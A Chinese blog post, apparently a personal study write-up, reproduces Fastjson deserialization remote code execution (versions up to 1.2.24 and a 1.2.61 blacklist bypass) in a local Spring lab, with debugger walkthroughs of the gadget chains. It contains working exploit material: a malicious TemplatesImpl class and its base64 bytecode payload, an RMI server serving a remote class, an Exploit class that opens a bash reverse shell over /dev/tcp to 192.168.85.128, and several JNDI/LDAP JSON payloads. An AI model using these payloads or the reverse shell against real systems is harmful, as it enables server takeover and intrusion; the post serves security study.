前言(2020/03/16更新)

一直想学习一下Java反序列化漏洞的相关利用,寒假期间学习了Java原生类的反序列化漏洞(Apache Commons Collections组件),不过到现在都还没有做一个总结。刚好最近有师傅问到shiro反序列化漏洞的相关事情,所以现在从这篇文章开始,学习各种Java反序列化漏洞,顺便做一个总结并记录下来。环境搭建采用的是Maven+Spring MVC,方便快捷。

Fastjson

Fastjson是一个性能很好的Java语言实现的Json解析器和生成器,由来自阿里巴巴的工程师开发。具有极快的性能,接口简单易用。Fastjson使用parseObject来进行反序列化。

Fastjson提供了两个主要接口toJSONString和parseObject来实现Json数据的序列化和反系列化。

项目地址:https://github.com/alibaba/fastjson

影响范围

fastjson <= 1.2.24

JDK8: 1.2.22 <= fastjson <= 1.2.24


利用方式

基于TemplateImpl

利用条件
  • 解析时设置了Feature.SupportNonPublicField,否则不支持传入私有属性
  • 目标使用的jdk中存在TemplatesImpl
测试

向maven项目的pom.xml文件中加入需要的依赖:

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.23</version>
</dependency>

然后写个测试方法:

@RequestMapping(value="/Fastjson")
public String fastjson(Model model, HttpServletRequest request) {
    String data = request.getParameter("data");
    Object obj = JSON.parseObject(data, Object.class, Feature.SupportNonPublicField);
    model.addAttribute("result", obj.getClass());
    return "index";
}

Poc(坑:之前没写package一直弹不出来计算器):

package Twings;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
    public Evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
            throws TransletException {
    }
}

然后javac编译成class并base64编码一下生成恶意_bytecodes。访问http://localhost:8080/Fastjson?data=,即可看到弹出计算器。

payload
{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAcACAcAHAwAHQAeAQAEY2FsYwwAHwAgAQALVHdpbmdzL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAPAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFAALAAAABAABAA8AAQARAAAAAgAS"],"_name": "a.b","_tfactory": {},"_outputProperties": {}}

@type:解析类,_bytecodes:恶意字节码,_outputProperties:调用outputProperties变量的get方法getOutputProperties。

漏洞分析

我们给parseObject函数下断点进行调试,可以看到代码先根据input、config和featureValues生成Json解析类,然后调用它的parseObject函数进行反序列化处理:

我们继续走下去,可以看到下一步是derializer.deserialze函数:

然后是parser.parse:

在这个函数中开始对Json进行解析,先判断了第一个字符,因为payload的第一个字符是{,所以进入了分支LBRACE中:

然后调用了parseObject函数对Json的内容进行解析,获取了键值:

接着开始获取type中所写明的类:

接下来调用deserializer.deserialze函数:

我们跟进去,里面对Json字符串中的各个键值进行了解析,然后调用了parseField函数,当传入的key为_outputProperties的时候,漏洞触发,我们跟进去看看。看到代码调用了fieldDeserializer.parseField->setValue,最后调用invoke函数:

调用了getOutputProperties函数,我们继续走下去,最后来到newTransformer函数:

可以看到这里调用getTransletInstance()函数实例化了类,然后就执行了类的构造函数,导致了代码执行漏洞:

以上就是对基于TemplateImpl的Fastjson反序列化漏洞利用的分析。

基于JNDI

RMI
利用条件

JDK<=8u121,Oracle在jdk8u121之后设置了com.sun.jndi.rmi.object.trustURLCodebase为 false,限制了 RMI 利用方式中从远程加载,会报错:

The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
测试

开启RMI服务:

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main( String args[] ){
        try{
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference reference = new javax.naming.Reference("Exploit", "Exploit", "http://127.0.0.1:2333/");
            ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
            registry.bind("Exploit", referenceWrapper);
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

在Web服务上部署编译后的恶意class:

public class Exploit {
    public Exploit(){
        try {
            // Runtime.getRuntime().exec("calc");
            java.lang.Runtime.getRuntime().exec(
                    new String[]{"bash", "-c", "bash -i >& /dev/tcp/192.168.85.128/4545 0>&1"});
        } catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

然后发送payload。

payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
漏洞分析

同样给JSON.parseObject下断点进行调试,可以看到与之前不同的是这次通过了if (matchField)的判断,进入了另一个分支,调用了setValue函数:

然后调用了autoCommit的setter函数setAutoCommit:

最后调用了connect函数,连接了攻击者开启了RMI服务:

以上就是对RMI的Fastjson反序列化漏洞利用的简要分析,跟基于TemplateImpl的原理差不多,都是利用了类的getter或者setter。

绕过方式

在服务端有Tomcat的org.apache.naming.factory.BeanFactory类的时候,可以尝试绕过。

https://www.veracode.com/blog/research/exploiting-jndi-injections-java

LDAP
利用条件

JDK<=8u191,Oracle在jdk8u191之后设置了com.sun.jndi.ldap.object.trustURLCodebase为 false,限制了 LDAP 利用时从远程加载 Class。

安装marshalsec
git clone https://github.com/mbechler/marshalsec.git
mvn clean package -DskipTests
测试

开启LDAP服务:

java -cp .\target\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:2333/#Exploit

同样在Web服务上部署编译后的恶意class,发送

payload1:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true}

payload2:

{"@type":"org.springframework.beans.factory.config.PropertyPathFactoryBean","targetBeanName":"ldap://localhost:1389/Exploit","propertyPath":"Poc","beanFactory":{"@type":"org.springframework.jndi.support.SimpleJndiBeanFactory","shareableResources":["ldap://localhost:1389/Exploit"]}}

payload3:

{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://localhost:1389/Exploit","loginTimeout":0}

payload4:

Set[{"@type":"org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor","beanFactory":{"@type":"org.springframework.jndi.support.SimpleJndiBeanFactory","shareableResources":["ldap://localhost:1389/Exploit"]},"adviceBeanName":"ldap://localhost:1389/Exploit"},{"@type":"org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",}]
漏洞分析-payload1

payload1分析同RMI,不再加以分析。

漏洞分析-payload2

首先跟RMI一样进入了if (matchField)并调用了setValue函数,然后调用了PropertyPath的setter函数setPropertyPath,给PropertyPath变量赋了值,到这里还没有触发漏洞。接下来的处理跟基于TemplateImpl的一样,调用了parseField函数,将字段beanFactory作为参数传入:

这里调用fieldValueDeserilizer.deserialze获取了beanFactory中的org.springframework.jndi.support.SimpleJndiBeanFactory实例,然后进入setValue函数:

再调用setter函数setBeanFactory:

这里可以看到有一个判断this.propertyPath == null,如果不传入propertyPath就会直接抛出异常终止程序:

然后将攻击者提供的恶意IDAP地址作为参数,调用this.beanFactory.getBean,即org.springframework.jndi.support.SimpleJndiBeanFactory.getBean函数,最后调用lookup函数连接了攻击者的恶意IDAP:

以上就是对payload2的简要分析,同样原理差不多,但是两层嵌套结构很精妙。

漏洞分析-payload3

payload3分析大致同RMI(应该?),且我本地没有这个类,所以也不加以分析。

漏洞分析-payload4

payload4跟payload3相似,不过payload4是Set类型,且结构更复杂一点。

这次我偷个懒,直接找到最后的触发点,然后查看调用栈,最后触发点跟payload3遗址,同样是lookup函数。因为类型为Set的缘故,所以不会进入其他payload进入的分支LBRACE,而是进入SET分支中:

这里通过HashSet来对Set类型进行处理,最后在putVal函数中调用了key.equals函数:

即DefaultBeanFactoryPointcutAdvisor的equals,由于继承关系,最后调用了AbstractPointcutAdvisor的equals,再调用了getAdvice函数:

然后调用了getBean:

最后就是触发点的doGetSingleton函数了:

以上就是对payload4的简要分析,跟其他payload不同的就是这种payload没有用到getter或者setter,而是用的Set->HashMap->equals这样一个调用链。


2020/03/15 更新 - fastjson 1.2.61

参考文章:https://curz0n.github.io/2019/09/24/fastjson_1_2_61_blacklist_bypass/

现在开始偶尔看看安全相关的东西,因为之前高校战疫的题目提到了 fastjson 1.2.61 版本的绕过,所以我就来更新一番。

首先因为我更新过 Java,所以要改一改之前项目的 JDK 配置,然后修改 pom.xml 里的 fastjson 版本配置为 1.2.61 。

看漏洞描述,好像跟之前的利用方式有点相似,都是利用属性的 getter 和 setter,最后的命令执行方式是调用 RMI 加载远程恶意 class,使用的 commons-configuration 组件,不过我本地都没有这个包,得安装才行。去 maven 仓库上看看这个包:https://mvnrepository.com/artifact/org.apache.commons/commons-configuration2 ,有好多版本,我先装个最新版本试试,在 pom.xml 里加入:

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-configuration2</artifactId>
    <version>2.7</version>
</dependency>

下载好像有点慢,打算加个镜像服务器代理试试,仔细一想才发现不知道 setting.xml 在哪里,于是去看了看环境变量里的 path,发现在 IDEA 的目录 plugins\maven\lib\maven3\conf 里面,有 2 和 3 两个版本,于是又仔细一想,发现不知道项目配置的 maven 是怎么样的,想着干脆看看配置的 maven 版本、配置文件和仓库地址,顺便拯救一下我快被塞满了的 C 盘,在 IDEA 中点击 File - Other Settings - Default Settings,然后搜索 maven 就可以看到配置了,可以看看这篇文章:https://blog.csdn.net/konzy/article/details/81626629

然后修改配置,在 setting.xml 的 mirrors 标签里面里面加上镜像,先试试腾讯云:https://www.cnblogs.com/slankka/p/12202640.html

加个镜像服务器代理试试:

<mirror>
    <id>nexus-tencentyun</id>
    <mirrorOf>external:*</mirrorOf>
    <name>Nexus tencentyun</name>
    <url>http://mirrors.cloud.tencent.com/nexus/repository/maven-public/</url>
</mirror>

速度飞快啊,然后修改一下后端代码,支持一下 1.2.61 的 autotype 黑名单:

@RequestMapping(value="/Fastjson2")
public String fastjson2(Model model, HttpServletRequest request) {
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    String data = request.getParameter("data");
    JSON.parseObject(data);
    return "index";
}

1.2.61 的黑名单存在 ParserConfig 类里面,好像是采用了人类无法看懂的十进制进行存储,具体是什么类可以看这:https://github.com/LeadroyaL/fastjson-blacklist

运行的时候看到一个报错,虽然无伤大雅但还是解决一下比较好:https://blog.csdn.net/zhaozhihang1234/article/details/50143903 ,电脑上的 tomcat 也很老了,涉及 EL 的时候会出错好像,什么时候应该换个新的了。

现在大概可以开始研究了吧。

好像不行,运行的时候又遇到一个错误:

java.lang.NoSuchMethodError: com.alibaba.fastjson.parser.ParserConfig.setAutoTypeSupport(Z)V

在网上找到一个脚本:https://blog.csdn.net/qq_28675967/article/details/90579636 ,可以检测类是从哪里加载的,我试了一下结果发现它加载的是 target 下面的 1.2.23 版本的 fastjson?里面两个版本的包都有,看来 IDEA 的编译运行还是需要注意一下包的引入的。删掉了 1.2.23 版本的包之后,运行正常了。

现在我回过头来看看脚本的做法,先用 getProtectionDomain 获取 ProtectionDomain 这个对象,再调用里面的 getCodeSource,这时获取的对象就已经看得出类的来源地了。

现在终于可以开始测试了,先布置好恶意 class 然后启动 RMI 服务和 Web 服务,我这里好像 Tomcat 和 RMI 服务端口冲突了,需要修改一下 Tomcat 的端口。payload:

{"@type":"org.apache.commons.configuration2.JNDIConfiguration","prefix":"rmi://127.0.0.1:1098/Exploit"}

然后报错了:

javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.

看来这个 payload 最后用到了 JDK 中的 com.sun.jndi.rmi.registry.RegistryContext 类,被 trustURLCodebase 拦截了,所以不能在高版本 Java 里面使用。

以后有时间整理一下 RMI LDAP JNDI JRMP 相关的东西, 我对这些概念还不是特别熟悉,还有就是反序列化中除了直接加载字节码之外的方式,比如从远程加载序列化字符串绕过前面的反序列化黑名单之类的。


参考链接:

https://www.freebuf.com/vuls/178012.html

https://www.restran.net/2018/10/29/fastjson-rce-notes/#%E5%9F%BA%E4%BA%8E-JNDI-%E7%9A%84-PoC

https://github.com/shengqi158/fastjson-remote-code-execute-poc/blob/master/Java_JSON%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B%E6%AE%87_%E7%9C%8B%E9%9B%AA%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91%E8%80%85%E5%B3%B0%E4%BC%9A.pdf

https://mp.weixin.qq.com/s/Eeq4nFdmM8a57l-tZXfvrQ

https://paper.seebug.org/636/

https://bl4ck.in/tricks/2019/01/04/JNDI-Injection-Bypass.html

http://www.yulegeyu.com/2019/01/11/Exploitng-JNDI-Injection-In-Java/


Web Java 反序列化 FastJSON

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

划水CVE-2019-9194复现
wordpress5.1-CSRF_to_XSS_to_RCE复现